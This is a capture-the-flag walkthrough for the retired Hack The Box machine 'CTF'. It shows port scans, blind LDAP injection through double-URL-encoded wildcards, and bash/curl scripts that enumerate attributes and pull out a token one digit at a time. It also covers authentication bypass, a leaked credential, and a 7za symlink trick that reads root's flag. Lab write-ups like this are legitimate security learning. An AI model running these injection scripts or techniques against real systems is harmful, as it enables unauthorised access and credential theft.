This post documents the complete walkthrough of CTF, a retired vulnerable VM created by 0xEA31, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.


CTF is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-02-06 04:34:40 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on                                    
Discovered open port 22/tcp on

masscan finds two open ports. I’ll do one better with nmap scanning the discovered ports.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
|   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)                                                                                       
| http-methods:
|   Supported Methods: POST OPTIONS GET HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF

Bummer. Nothing unusual stands out. Let’s check out the http service. Here’s how it looks like.


There’s some kind of Fail2Ban thing going on here I guess, so brute-force actions that result in HTTP response >= 400 is out of the question. :no_good:

Blind LDAP Injection

It turns out that our next hint lies in the HTML comments of the login page.


Attribute and schema? Sure sounds a lot like Lightweight Directory Access Protocol (or LDAP). And, what’s the deal with the token string with 81-digits?

A simple Google search reveals that a token string with 81-digits is a software token delivery method called Compressed Token Format (CTF) provisioning. What an apt name for a HTB box!

I explored the login page for a bit and here’s what I observe.

Wrong username


Right username


You may notice that the login page checks for the username first and if it’s correct, it then checks for the One-Time Pin (OTP). Normally, OTP comes in 4-digit, 6-digit and 8-digit formats.

You are probably thinking, “how the hell did he guess the username”. I didn’t. I used the asterisk (*) wildcard in LDAP search filter.

At first, I tried using a single asterisk. I didn’t get any feedback. I took it up a notch and tried URL encoding the asterisk and again, received no feedback. Finally, I tried double URL encoding and guess what, it worked!

Double URL encoding the asterisk


The wildcard does its magic!


Armed with this insight and using a LDAP query such as *)(cn=*, I wrote a script to help me enumerate the valid attributes from the schema.


function urlencode() {
  echo -n "$1" \
  | xxd -p \
  | tr -d '\n' \
  | sed -r 's/(..)/%\1/g'

function send_payload() {
  local query="*)(XXX=*"
  local payload="${query/XXX/$1}"
  local payload="$(urlencode $payload)"
  local payload="$(urlencode $payload)"

  curl \
    -s \
    -d "inputUsername=$payload" \
    -d "inputOTP=123456" \
    http://$HOST/login.php \
  | sed -r -e '34!d' -e 's/\s+<\/div>$//' \
  | rev \
  | cut -d ' ' -f1-2 \
  | rev \
  | tr -d '\n'

for attr in $(cat $LIST); do
  result=$(send_payload $attr)
  if [ "$result" == "Cannot login" ]; then
    echo "[+] Found: $attr"

Running the script against a LDAP attributes wordlist I found here, this is what I got.

[+] Found: cn
[+] Found: commonName
[+] Found: gidNumber
[+] Found: homeDirectory
[+] Found: loginShell
[+] Found: mail
[+] Found: name
[+] Found: objectClass
[+] Found: pager
[+] Found: shadowLastChange
[+] Found: shadowMax
[+] Found: shadowMin
[+] Found: shadowWarning
[+] Found: sn
[+] Found: surname
[+] Found: uid
[+] Found: uidNumber
[+] Found: userPassword

At first, I thought the token string is in the userPassword attribute. However, this attribute has a OctetString type which makes it an unlikely candidate. It turns out that pager is the attribute storing the token string. To that end, I re-purpose the previous script to exfiltrate the digits one by one until I have the full 81-digit token string.


# urlencode
function urlencode() {
  echo -n "$1" \
  | xxd -p \
  | tr -d '\n' \
  | sed -r 's/(..)/%\1/g'

# send payload
function send_payload() {
  local query="*)(pager=XXX*"
  local payload="${query/XXX/$1}"
  local payload="$(urlencode $payload)"
  local payload="$(urlencode $payload)"

  curl \
    -s \
    -d "inputUsername=$payload" \
    -d "inputOTP=123456" \
    http://$HOST/login.php \
  | sed -r -e '34!d' -e 's/\s+<\/div>$//' \
  | rev \
  | cut -d ' ' -f1-2 \
  | rev

# main

for p in $(seq 1 81); do
  for d in {0..9}; do
    result=$(send_payload "$PAYLOAD${d}")
    if [ "$result" == "Cannot login" ]; then
      echo -n $d

echo -e "\n[+] Token string is: $TOKEN"


Software Token

Now that we have the token string, we can import the token string into stoken. According to the manual, stoken is a software token compatible with RSA SecurID 128-bit (AES) tokens. We can use it to generate the OTPs.


You can choose any password you like. I’ve chosen hello as my password.


Again, you are can choose any PIN you like. I’ve chosen 0000 as my PIN.


Once that’s done, you’ll see the software token, which gives it more of a token device feel, if you will. :laughing:


We can now proceed to login to the site. I’m using the following query to bypass authentication.


I sent in the login request with Burp’s Repeater.


With that, my session should be authenticated and I can use my browser instead.


Boom. I’m now at a page which appears to execute commands. Too bad, I’m not privileged enough.


To bypass that, recall the valid attributes that I’ve enumerated previously? According to its description, gidNumber is an integer uniquely identifying a group in an administrative domain. With that in mind, we can try the following query.


Again, let’s send the login request with Burp’s Repeater.


We should be able to execute commands right from the browser.


Perfect. I’m very interested to look at the PHP code of login.php and page.php to see what’s the LDAP filter. As an added bonus, guess what’s in there? Credentials!


Armed with the credential (ldapuser:e398e27d5c4ad45086fe431120932a01), I can give myself a shell via SSH.

The user.txt is at ldapuser’s home directory.


Privilege Escalation

During enumeration of ldapuser’s account, I notice a script at /backup/ that looks like this.
# get banned ips from fail2ban jails and update banned.txt                                                                                                                                          [0/3]
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)                                                                              
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt                                                               
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt                                                                

# some vars in order to be sure that backups are protected
now=$(date +"%s")
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$ -t7z -snl -p$pass -- *

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log

I stared at it for a long time. I knew instinctively this is the key to privilege escalation but I can’t figure who or what is writing to the file error.log that got truncated at the last line. It was only until I ran watch -n1 ls -lt at /backup, did I notice that the script is backing up and removing files from /var/www/html/uploads (a.k.a the honeypot) and also updating the last-modified date of error.log at every minute.

If I had to guess, I would say that there’s a cron job running as root, executing /backup/ and redirecting stderr to /backup/error.log at every minute on the minute.

Another interesting bit of information I gathered is that the so-called honeypot at /var/www/html/uploads is only writable by apache.


Armed with the information I gathered so far, I can start to work my way to read /root/root.txt by abusing 7za. This versatile archiver supports the concept of a list file, i.e. a file containing a list of files, separated by newline.

For example, if the file listfile.txt contains the following:


Then the command 7za a -t7z @listfile.txt adds all the files ending with .zip in /backup to backup.7z. And, if the command can’t find the file in the list file, it spits out diagnostic messages, such as warnings and/or errors to stderr.

On one hand, if we run tail -f /backup/error.log in the shell, we can capture the diagnostic messages sent by 7za before it gets truncated. On the other hand, we can trick 7za to spit out diagnostic messages by creating the following file and creating a symbolic link to /root/root.txt.


One minute later, we should see the root.txt on the shell.